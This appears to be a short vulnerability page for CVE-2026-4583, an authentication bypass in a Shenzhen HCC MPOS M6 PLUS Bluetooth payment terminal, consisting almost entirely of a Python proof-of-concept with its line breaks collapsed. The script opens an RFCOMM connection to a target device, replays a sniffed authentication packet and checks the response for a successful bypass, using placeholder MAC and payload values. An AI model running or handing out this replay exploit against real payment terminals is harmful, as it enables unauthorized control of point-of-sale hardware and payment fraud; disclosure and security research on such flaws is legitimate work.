CVE-2026-4583: 深圳HCC MPOS蓝牙认证绕过漏洞

import bluetooth import time # Conceptual PoC for CVE-2026-4583: Bluetooth Replay Attack # Target: Shenzhen HCC Technology MPOS M6 PLUS # Note: This script demonstrates the logic of a replay attack. # In a real scenario, the 'captured_packet' is obtained via sniffing. def simulate_replay(target_mac, captured_packet): print(f"[+] Targeting device: {target_mac}") try: # Attempt to connect to the Bluetooth device # RFCOMM channel 1 is commonly used, but may vary sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM) sock.connect((target_mac, 1)) print("[+] Connected to target.") # Replay the captured authentication packet print(f"[*] Replaying captured packet: {captured_packet.hex()}") sock.send(captured_packet) # Wait for response to verify bypass data = sock.recv(1024) if data: print("[+] Received response. Authentication bypass potentially successful.") else: print("[-] No response received.") sock.close() except Exception as e: print(f"[-] Error during exploit: {e}") if __name__ == "__main__": # Replace with actual target MAC and captured payload TARGET_MAC = "00:11:22:33:44:55" # Example payload representing a valid auth command PAYLOAD = b"\x01\x05\x00\x04\x00\x00\x00\xFF" simulate_replay(TARGET_MAC, PAYLOAD)